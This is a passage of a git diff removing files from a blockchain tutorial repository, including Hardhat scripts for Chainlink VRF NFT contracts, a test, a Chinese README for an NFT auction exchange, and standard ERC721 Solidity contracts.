-    const token = await hre.ethers.getContractAt("LinkTokenInterface", LINK);
-    
-    var exp = ethers.BigNumber.from("10").pow(18);
-    
-    await token.transfer(dnd.address, ethers.BigNumber.from("3").mul(exp));
-   
-    const bal =  await token.balanceOf(dnd.address);
-    console.log("dnd link balance : ", bal.toString());
-    
-    const tx = await dnd.requestNewRandomCharacter(77, "The Chainlink Knight");
-    
-    console.log()
-    const tx1 = await dnd.setTokenURI(0, "https://ipfs.io/ipfs/QmaSED9ZSbdGts5UZqueFJjrJ4oHH3GnmGJdSDrkzpYqRS?filename=the-chainlink-knight.json")
-    
-    const overview = await dnd.characters(0)
-    console.log(overview);
- 
- 
- 
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js b/Example15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js
deleted file mode 100644
index fe9684792..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/scripts/random-number-vrf.js
+++ /dev/null
@@ -1,76 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-async function main() {
-
-// * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-//     * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-//     * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-  
-  // We get the contract to deploy
-    const RandomNumberVRF = await hre.ethers.getContractFactory("RandomNumberVRF");
-    const Coordinator = "0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9";
-    const LINK = "0xa36085F69e2889c224210F603D836748e7dC0088";
-    const KeyHash = "0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4";
-    
-    const randomNumberVRF = await RandomNumberVRF.deploy(Coordinator, LINK, KeyHash);
-
-    await randomNumberVRF.deployed();
-
-    console.log("randomNumberVRF deployed to:", randomNumberVRF.address);
-    
-    const token = await hre.ethers.getContractAt("LinkTokenInterface", LINK);
-    
-    var exp = ethers.BigNumber.from("10").pow(18);
-    
-    await token.transfer(randomNumberVRF.address, ethers.BigNumber.from("3").mul(exp));
-   
-    const bal =  await token.balanceOf(randomNumberVRF.address);
-    console.log("dnd link balance : ", bal.toString());
-    
-    const tx = await randomNumberVRF.requestRandomNumber(77);
-    
-    function sleep (time) {
-        return new Promise((resolve) => setTimeout(resolve, time));
-    }
-    
-    await sleep(3000);
-    
-    const overview = await randomNumberVRF.get()
-    console.log(overview);
- 
- 
- 
-}
-
-
-async function main1() {
-    
-    const randomAddress = "0xBb50A47649524fffBD18827316AA8A3E428813aA";
-    const randomNumberVRF = await hre.ethers.getContractAt("RandomNumberVRF",randomAddress);
-    
-    console.log("randomNumberVRF deployed to:", randomNumberVRF.address);
-    const LINK = "0xa36085F69e2889c224210F603D836748e7dC0088";
-    const token = await hre.ethers.getContractAt("LinkTokenInterface", LINK);
-    
-    const bal =  await token.balanceOf(randomNumberVRF.address);
-    console.log("randomNumberVRF link balance : ", bal.toString());
-    const overview = await randomNumberVRF.get()
-    console.log(overview);
-    
-    
-    
-}
-
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main1()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example15-nft-blindbox-chainlink-vrf/scripts/transaction.js b/Example15-nft-blindbox-chainlink-vrf/scripts/transaction.js
deleted file mode 100644
index 7e4e458e1..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/scripts/transaction.js
+++ /dev/null
@@ -1,50 +0,0 @@
-// We require the Hardhat Runtime Environment explicitly here. This is optional 
-// but useful for running the script in a standalone fashion through `node <script>`.
-//
-// When running the script with `hardhat run <script>` you'll find the Hardhat
-// Runtime Environment's members available in the global scope.
-const hre = require("hardhat");
-async function main() {
-
-// * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-//     * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-//     * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-  
-  // We get the contract to deploy
-  //  const Dnd = await hre.ethers.getContractFactory("DungeonsAndDragonsCharacter");
-    const Coordinator = "0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9";
-    const LINK = "0xa36085F69e2889c224210F603D836748e7dC0088";
-    const KeyHash = "0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4";
-    const dndaddress = "0xe015B0F54adEDa9B2B1Cd6D4214E7D542Dd83CfC";
-   // const dnd = await Dnd.deploy(Coordinator, LINK, KeyHash);
-    const dnd = await hre.ethers.getContractAt("DungeonsAndDragonsCharacter",dndaddress);
-    
-    console.log("dnd deployed to:", dnd.address);
-    
-     const token = await hre.ethers.getContractAt("LinkTokenInterface", LINK);
-    //
-    // var exp = ethers.BigNumber.from("10").pow(18);
-    //
-    // await token.transfer(dnd.address, ethers.BigNumber.from("3").mul(exp));
-   
-    const bal =  await token.balanceOf(dnd.address);
-    console.log("dnd link balance : ", bal.toString());
-    
-    await dnd.requestNewRandomCharacter(77, "The Chainlink Knight");
-    
-    console.log("request vrf random successfully!");
-    const tx1 = await dnd.setTokenURI(0, "https://ipfs.io/ipfs/QmaSED9ZSbdGts5UZqueFJjrJ4oHH3GnmGJdSDrkzpYqRS?filename=the-chainlink-knight.json")
-    
-    const overview = await dnd.characters(0)
-    console.log(overview);
-    
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example15-nft-blindbox-chainlink-vrf/test/sample-test.js b/Example15-nft-blindbox-chainlink-vrf/test/sample-test.js
deleted file mode 100644
index fb4a0e7a6..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/test/sample-test.js
+++ /dev/null
@@ -1,28 +0,0 @@
-const { expect } = require("chai");
-const { expectRevert, expectEvent } = require('@openzeppelin/test-helpers')
-
-const RANDOM_SEED = 100
-const CHARACTER_NAME = "Shrek"
-
-
-//todo mock chainlink test env
-describe('DungeonsAndDragonsCharacter', accounts => {
-  const { LinkToken } = require('@chainlink/contracts/truffle/v0.4/LinkToken')
-  const DungeonsAndDragonsCharacter = artifacts.require('DungeonsAndDragonsCharacter.sol')
-  const defaultAccount = accounts[0]
-  
-  let link, dnd
-  
-  beforeEach(async () => {
-    link = await LinkToken.new({ from: defaultAccount })
-    dnd = await DungeonsAndDragonsCharacter.new({ from: defaultAccount })
-  })
-  
-  describe('#requestNewRandomCharacter', () => {
-    context('without LINK', () => {
-      it('reverts', async () => {
-        const newCharacter = await expectRevert.unspecified(dnd.requestNewRandomCharacter(RANDOM_SEED, CHARACTER_NAME))
-      })
-    })
-  })
-})
diff --git a/Example16-hardhat-auction-exchange/README.md b/Example16-hardhat-auction-exchange/README.md
deleted file mode 100644
index 9c88f0145..000000000
--- a/Example16-hardhat-auction-exchange/README.md
+++ /dev/null
@@ -1,45 +0,0 @@
-
-## auction-exchange
- nft 资产拍卖
- - 支持定价出售
- - 支持拍卖
- 
- ## 操作步骤：
- 
-  1. 新建sk-alice.txt, sk-bob.txt文件；存储私钥  
-  
-  2 功能AuctionFixedPrice.sol 定价拍卖    AuctionUnfixedPrice.sol 不定价拍卖。  
-    npx hardhat test   
-   
-  3 script下有相应合约测试代码。  
-    npx hardhat run scripts/auction-fix-price-script.js --network kovan
-
-## 测试步骤
-
-- 启动hardhat node
-npx hardhat node --network hardhat
-
-- 启动ipfs
-ipfs daemon
-
-- 部署合约
-npx hardhat run scripts/upload.js --network localhost
-npx hardhat run scripts/react_app_contract.js --network localhost
-
-- 启动前端
-yarn install
-yarn start
-
-
-## 参考链接
- https://medium.com/coinmonks/how-to-implement-an-erc721-market-f805959ddcf  
- https://docs.matic.network/docs/develop/advanced/swap-assets    
- https://github.com/ethers-io/ethers.js/issues/368    
- 虚拟机节点时间戳问题：
- https://ethereum.stackexchange.com/questions/86633/time-dependent-tests-with-hardhat  
-
- https://explorer-mainnet.maticvigil.com/address/0x8d1566569d5b695d44a9a234540f68D393cDC40D/contracts  
- https://github.com/ssteiger/Ethereum-NFT-Store-with-Dutch-Auctions  
-荷兰拍卖：
-https://medium.com/@shopevery/building-smart-contracts-for-a-dutch-auction-part-1-81dc5c770f1f
-https://corporatefinanceinstitute.com/resources/knowledge/finance/dutch-auction/
\ No newline at end of file
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC165.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC165.sol
deleted file mode 100644
index f16c1e896..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC165.sol
+++ /dev/null
@@ -1,43 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC165.sol";
-
-/**
- * @title ERC165
- * @author Matt Condon (@shrugs)
- * @dev Implements ERC165 using a lookup table.
- */
-contract ERC165 is IERC165 {
-    /*
-     * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
-     */
-    bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
-
-    /**
-     * @dev Mapping of interface ids to whether or not it's supported.
-     */
-    mapping(bytes4 => bool) private _supportedInterfaces;
-
-    /**
-     * @dev A contract implementing SupportsInterfaceWithLookup
-     * implements ERC165 itself.
-     */
-    constructor () internal {
-        _registerInterface(_INTERFACE_ID_ERC165);
-    }
-
-    /**
-     * @dev Implement supportsInterface(bytes4) using a lookup table.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool) {
-        return _supportedInterfaces[interfaceId];
-    }
-
-    /**
-     * @dev Internal method for registering an interface.
-     */
-    function _registerInterface(bytes4 interfaceId) internal {
-        require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
-        _supportedInterfaces[interfaceId] = true;
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721.sol
deleted file mode 100644
index 39a5c28cd..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721.sol
+++ /dev/null
@@ -1,419 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC721.sol";
-import "./IERC721Receiver.sol";
-import "./ERC165.sol";
-
-/**
- * @title ERC721 Non-Fungible Token Standard basic implementation
- * @dev see https://eips.ethereum.org/EIPS/eip-721
- */
- 
-
-/**
- * @title SafeMath
- * @dev Unsigned math operations with safety checks that revert on error.
- */
-library SafeMath {
-    /**
-     * @dev Multiplies two unsigned integers, reverts on overflow.
-     */
-    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
-        // benefit is lost if 'b' is also tested.
-        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
-        if (a == 0) {
-            return 0;
-        }
-
-        uint256 c = a * b;
-        require(c / a == b, "SafeMath: multiplication overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
-     */
-    function div(uint256 a, uint256 b) internal pure returns (uint256) {
-        // Solidity only automatically asserts when dividing by 0
-        require(b > 0, "SafeMath: division by zero");
-        uint256 c = a / b;
-        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
-
-        return c;
-    }
-
-    /**
-     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
-     */
-    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b <= a, "SafeMath: subtraction overflow");
-        uint256 c = a - b;
-
-        return c;
-    }
-
-    /**
-     * @dev Adds two unsigned integers, reverts on overflow.
-     */
-    function add(uint256 a, uint256 b) internal pure returns (uint256) {
-        uint256 c = a + b;
-        require(c >= a, "SafeMath: addition overflow");
-
-        return c;
-    }
-
-    /**
-     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
-     * reverts when dividing by zero.
-     */
-    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
-        require(b != 0, "SafeMath: modulo by zero");
-        return a % b;
-    }
-}
-/**
- * Utility library of inline functions on addresses
- */
-library Address {
-    /**
-     * Returns whether the target address is a contract
-     * @dev This function will return false if invoked during the constructor of a contract,
-     * as the code is not actually created until after the constructor finishes.
-     * @param account address of the account to check
-     * @return whether the target address is a contract
-     */
-    function isContract(address account) internal view returns (bool) {
-        uint256 size;
-        // XXX Currently there is no better way to check if there is a contract in an address
-        // than to check the size of the code at that address.
-        // See https://ethereum.stackexchange.com/a/14016/36603
-        // for more details about how this works.
-        // TODO Check this again before the Serenity release, because all addresses will be
-        // contracts then.
-        // solhint-disable-next-line no-inline-assembly
-        assembly { size := extcodesize(account) }
-        return size > 0;
-    }
-}
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the SafeMath
- * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
- * directly accessed.
- */
-library Counters {
-    using SafeMath for uint256;
-
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        counter._value += 1;
-    }
-
-    function decrement(Counter storage counter) internal {
-        counter._value = counter._value.sub(1);
-    }
-}
-
-
-contract ERC721 is ERC165, IERC721 {
-    using SafeMath for uint256;
-    using Address for address;
-    using Counters for Counters.Counter;
-
-    // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
-    // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
-    bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
-
-    // Mapping from token ID to owner
-    mapping (uint256 => address) private _tokenOwner;
-
-    // Mapping from token ID to approved address
-    mapping (uint256 => address) private _tokenApprovals;
-
-    // Mapping from owner to number of owned token
-    mapping (address => Counters.Counter) private _ownedTokensCount;
-
-    // Mapping from owner to operator approvals
-    mapping (address => mapping (address => bool)) private _operatorApprovals;
-
-    /*
-     *     bytes4(keccak256('balanceOf(address)')) == 0x70a08231
-     *     bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
-     *     bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
-     *     bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
-     *     bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
-     *     bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c
-     *     bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
-     *     bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
-     *     bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
-     *
-     *     => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
-     *        0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
-     */
-    bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
-
-    constructor () public {
-        // register the supported interfaces to conform to ERC721 via ERC165
-        _registerInterface(_INTERFACE_ID_ERC721);
-    }
-
-    /**
-     * @dev Gets the balance of the specified address.
-     * @param owner address to query the balance of
-     * @return uint256 representing the amount owned by the passed address
-     */
-    function balanceOf(address owner) public view returns (uint256) {
-        require(owner != address(0), "ERC721: balance query for the zero address");
-
-        return _ownedTokensCount[owner].current();
-    }
-
-    /**
-     * @dev Gets the owner of the specified token ID.
-     * @param tokenId uint256 ID of the token to query the owner of
-     * @return address currently marked as the owner of the given token ID
-     */
-    function ownerOf(uint256 tokenId) public view returns (address) {
-        address owner = _tokenOwner[tokenId];
-        require(owner != address(0), "ERC721: owner query for nonexistent token");
-
-        return owner;
-    }
-
-    /**
-     * @dev Approves another address to transfer the given token ID
-     * The zero address indicates there is no approved address.
-     * There can only be one approved address per token at a given time.
-     * Can only be called by the token owner or an approved operator.
-     * @param to address to be approved for the given token ID
-     * @param tokenId uint256 ID of the token to be approved
-     */
-    function approve(address to, uint256 tokenId) public {
-        address owner = ownerOf(tokenId);
-        require(to != owner, "ERC721: approval to current owner");
-
-        require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
-            "ERC721: approve caller is not owner nor approved for all"
-        );
-
-        _tokenApprovals[tokenId] = to;
-        emit Approval(owner, to, tokenId);
-    }
-
-    /**
-     * @dev Gets the approved address for a token ID, or zero if no address set
-     * Reverts if the token ID does not exist.
-     * @param tokenId uint256 ID of the token to query the approval of
-     * @return address currently approved for the given token ID
-     */
-    function getApproved(uint256 tokenId) public view returns (address) {
-        require(_exists(tokenId), "ERC721: approved query for nonexistent token");
-
-        return _tokenApprovals[tokenId];
-    }
-
-    /**
-     * @dev Sets or unsets the approval of a given operator
-     * An operator is allowed to transfer all tokens of the sender on their behalf.
-     * @param to operator address to set the approval
-     * @param approved representing the status of the approval to be set
-     */
-    function setApprovalForAll(address to, bool approved) public {
-        require(to != msg.sender, "ERC721: approve to caller");
-
-        _operatorApprovals[msg.sender][to] = approved;
-        emit ApprovalForAll(msg.sender, to, approved);
-    }
-
-    /**
-     * @dev Tells whether an operator is approved by a given owner.
-     * @param owner owner address which you want to query the approval of
-     * @param operator operator address which you want to query the approval of
-     * @return bool whether the given operator is approved by the given owner
-     */
-    function isApprovedForAll(address owner, address operator) public view returns (bool) {
-        return _operatorApprovals[owner][operator];
-    }
-
-    /**
-     * @dev Transfers the ownership of a given token ID to another address.
-     * Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
-     * Requires the msg.sender to be the owner, approved, or operator.
-     * @param from current owner of the token
-     * @param to address to receive the ownership of the given token ID
-     * @param tokenId uint256 ID of the token to be transferred
-     */
-    function transferFrom(address from, address to, uint256 tokenId) public {
-        //solhint-disable-next-line max-line-length
-        require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
-
-        _transferFrom(from, to, tokenId);
-    }
-
-    /**
-     * @dev Safely transfers the ownership of a given token ID to another address
-     * If the target address is a contract, it must implement `onERC721Received`,
-     * which is called upon a safe transfer, and return the magic value
-     * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
-     * the transfer is reverted.
-     * Requires the msg.sender to be the owner, approved, or operator
-     * @param from current owner of the token
-     * @param to address to receive the ownership of the given token ID
-     * @param tokenId uint256 ID of the token to be transferred
-     */
-    function safeTransferFrom(address from, address to, uint256 tokenId) public {
-        safeTransferFrom(from, to, tokenId, "");
-    }
-
-    /**
-     * @dev Safely transfers the ownership of a given token ID to another address
-     * If the target address is a contract, it must implement `onERC721Received`,
-     * which is called upon a safe transfer, and return the magic value
-     * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
-     * the transfer is reverted.
-     * Requires the msg.sender to be the owner, approved, or operator
-     * @param from current owner of the token
-     * @param to address to receive the ownership of the given token ID
-     * @param tokenId uint256 ID of the token to be transferred
-     * @param _data bytes data to send along with a safe transfer check
-     */
-    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
-        transferFrom(from, to, tokenId);
-        require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
-    }
-
-    /**
-     * @dev Returns whether the specified token exists.
-     * @param tokenId uint256 ID of the token to query the existence of
-     * @return bool whether the token exists
-     */
-    function _exists(uint256 tokenId) internal view returns (bool) {
-        address owner = _tokenOwner[tokenId];
-        return owner != address(0);
-    }
-
-    /**
-     * @dev Returns whether the given spender can transfer a given token ID.
-     * @param spender address of the spender to query
-     * @param tokenId uint256 ID of the token to be transferred
-     * @return bool whether the msg.sender is approved for the given token ID,
-     * is an operator of the owner, or is the owner of the token
-     */
-    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
-        require(_exists(tokenId), "ERC721: operator query for nonexistent token");
-        address owner = ownerOf(tokenId);
-        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
-    }
-
-    /**
-     * @dev Internal function to mint a new token.
-     * Reverts if the given token ID already exists.
-     * @param to The address that will own the minted token
-     * @param tokenId uint256 ID of the token to be minted
-     */
-    function _mint(address to, uint256 tokenId) internal {
-        require(to != address(0), "ERC721: mint to the zero address");
-        require(!_exists(tokenId), "ERC721: token already minted");
-
-        _tokenOwner[tokenId] = to;
-        _ownedTokensCount[to].increment();
-
-        emit Transfer(address(0), to, tokenId);
-    }
-
-    /**
-     * @dev Internal function to burn a specific token.
-     * Reverts if the token does not exist.
-     * Deprecated, use _burn(uint256) instead.
-     * @param owner owner of the token to burn
-     * @param tokenId uint256 ID of the token being burned
-     */
-    function _burn(address owner, uint256 tokenId) internal {
-        require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
-
-        _clearApproval(tokenId);
-
-        _ownedTokensCount[owner].decrement();
-        _tokenOwner[tokenId] = address(0);
-
-        emit Transfer(owner, address(0), tokenId);
-    }
-
-    /**
-     * @dev Internal function to burn a specific token.
-     * Reverts if the token does not exist.
-     * @param tokenId uint256 ID of the token being burned
-     */
-    function _burn(uint256 tokenId) internal {
-        _burn(ownerOf(tokenId), tokenId);
-    }
-
-    /**
-     * @dev Internal function to transfer ownership of a given token ID to another address.
-     * As opposed to transferFrom, this imposes no restrictions on msg.sender.
-     * @param from current owner of the token
-     * @param to address to receive the ownership of the given token ID
-     * @param tokenId uint256 ID of the token to be transferred
-     */
-    function _transferFrom(address from, address to, uint256 tokenId) internal {
-        require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
-        require(to != address(0), "ERC721: transfer to the zero address");
-
-        _clearApproval(tokenId);
-
-        _ownedTokensCount[from].decrement();
-        _ownedTokensCount[to].increment();
-
-        _tokenOwner[tokenId] = to;
-
-        emit Transfer(from, to, tokenId);
-    }
-
-    /**
-     * @dev Internal function to invoke `onERC721Received` on a target address.
-     * The call is not executed if the target address is not a contract.
-     * @param from address representing the previous owner of the given token ID
-     * @param to target address that will receive the tokens
-     * @param tokenId uint256 ID of the token to be transferred
-     * @param _data bytes optional data to send along with the call
-     * @return bool whether the call correctly returned the expected magic value
-     */
-    function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
-        internal returns (bool)
-    {
-        if (!to.isContract()) {
-            return true;
-        }
-
-        bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
-        return (retval == _ERC721_RECEIVED);
-    }
-
-    /**
-     * @dev Private function to clear current approval of a given token ID.
-     * @param tokenId uint256 ID of the token to be transferred
-     */
-    function _clearApproval(uint256 tokenId) private {
-        if (_tokenApprovals[tokenId] != address(0)) {
-            _tokenApprovals[tokenId] = address(0);
-        }
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Burnable.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Burnable.sol
deleted file mode 100644
index 813849cec..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Burnable.sol
+++ /dev/null
@@ -1,19 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./ERC721.sol";
-
-/**
- * @title ERC721 Burnable Token
- * @dev ERC721 Token that can be irreversibly burned (destroyed).
- */
-contract ERC721Burnable is ERC721 {
-    /**
-     * @dev Burns a specific ERC721 token.
-     * @param tokenId uint256 id of the ERC721 token to be burned.
-     */
-    function burn(uint256 tokenId) public {
-        //solhint-disable-next-line max-line-length
-        require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721Burnable: caller is not owner nor approved");
-        _burn(tokenId);
-    }
-}
diff --git a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Enumerable.sol b/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Enumerable.sol
deleted file mode 100644
index d139380cb..000000000
--- a/Example16-hardhat-auction-exchange/backup/sol-0.4/erc-token/ERC721Enumerable.sol
+++ /dev/null
@@ -1,199 +0,0 @@
-pragma solidity ^0.4.25;
-
-import "./IERC721Enumerable.sol";
-import "./ERC721.sol";
-import "./ERC165.sol";
-
-/**
- * @title ERC-721 Non-Fungible Token with optional enumeration extension logic
- * @dev See https://eips.ethereum.org/EIPS/eip-721
- */
-contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
-    // Mapping from owner to list of owned token IDs
-    mapping(address => uint256[]) private _ownedTokens;
-
-    // Mapping from token ID to index of the owner tokens list
-    mapping(uint256 => uint256) private _ownedTokensIndex;
-
-    // Array with all token ids, used for enumeration
-    uint256[] private _allTokens;
-
-    // Mapping from token id to position in the allTokens array
-    mapping(uint256 => uint256) private _allTokensIndex;
-
-    /*
-     *     bytes4(keccak256('totalSupply()')) == 0x18160ddd
-     *     bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
-     *     bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
-     *
-     *     => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
-     */
-    bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
-
-    /**
-     * @dev Constructor function.
-     */
-    constructor () public {
-        // register the supported interface to conform to ERC721Enumerable via ERC165
-        _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
-    }
-
-    /**
-     * @dev Gets the token ID at a given index of the tokens list of the requested owner.
-     * @param owner address owning the tokens list to be accessed
-     * @param index uint256 representing the index to be accessed of the requested tokens list
-     * @return uint256 token ID at the given index of the tokens list owned by the requested address
-     */
-    function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
-        require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
-        return _ownedTokens[owner][index];
-    }
-
-    /**
-     * @dev Gets the total amount of tokens stored by the contract.
-     * @return uint256 representing the total amount of tokens
-     */
-    function totalSupply() public view returns (uint256) {
-        return _allTokens.length;
-    }
-
-    /**
-     * @dev Gets the token ID at a given index of all the tokens in this contract
-     * Reverts if the index is greater or equal to the total number of tokens.
-     * @param index uint256 representing the index to be accessed of the tokens list
-     * @return uint256 token ID at the given index of the tokens list
-     */
-    function tokenByIndex(uint256 index) public view returns (uint256) {
-        require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
-        return _allTokens[index];
-    }
-
-    /**
-     * @dev Internal function to transfer ownership of a given token ID to another address.
-     * As opposed to transferFrom, this imposes no restrictions on msg.sender.
-     * @param from current owner of the token
-     * @param to address to receive the ownership of the given token ID
-     * @param tokenId uint256 ID of the token to be transferred
-     */
-    function _transferFrom(address from, address to, uint256 tokenId) internal {
-        super._transferFrom(from, to, tokenId);
-
-        _removeTokenFromOwnerEnumeration(from, tokenId);
-
-        _addTokenToOwnerEnumeration(to, tokenId);
-    }
-
-    /**
-     * @dev Internal function to mint a new token.
-     * Reverts if the given token ID already exists.
-     * @param to address the beneficiary that will own the minted token
-     * @param tokenId uint256 ID of the token to be minted
-     */
-    function _mint(address to, uint256 tokenId) internal {
-        super._mint(to, tokenId);
-
-        _addTokenToOwnerEnumeration(to, tokenId);
-
-        _addTokenToAllTokensEnumeration(tokenId);
-    }
-
-    /**
-     * @dev Internal function to burn a specific token.
-     * Reverts if the token does not exist.
-     * Deprecated, use _burn(uint256) instead.
-     * @param owner owner of the token to burn
-     * @param tokenId uint256 ID of the token being burned
-     */
-    function _burn(address owner, uint256 tokenId) internal {
-        super._burn(owner, tokenId);
-
-        _removeTokenFromOwnerEnumeration(owner, tokenId);
-        // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
-        _ownedTokensIndex[tokenId] = 0;
-
-        _removeTokenFromAllTokensEnumeration(tokenId);
-    }
-
-    /**
-     * @dev Gets the list of token IDs of the requested owner.
-     * @param owner address owning the tokens
-     * @return uint256[] List of token IDs owned by the requested address
-     */
-    function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
-        return _ownedTokens[owner];
-    }
-
-    /**
-     * @dev Private function to add a token to this extension's ownership-tracking data structures.
-     * @param to address representing the new owner of the given token ID
-     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address
-     */
-    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
-        _ownedTokensIndex[tokenId] = _ownedTokens[to].length;
-        _ownedTokens[to].push(tokenId);
-    }
-
-    /**
-     * @dev Private function to add a token to this extension's token tracking data structures.
-     * @param tokenId uint256 ID of the token to be added to the tokens list
-     */
-    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
-        _allTokensIndex[tokenId] = _allTokens.length;
-        _allTokens.push(tokenId);
-    }
-
-    /**
-     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
-     * while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for
-     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).
-     * This has O(1) time complexity, but alters the order of the _ownedTokens array.
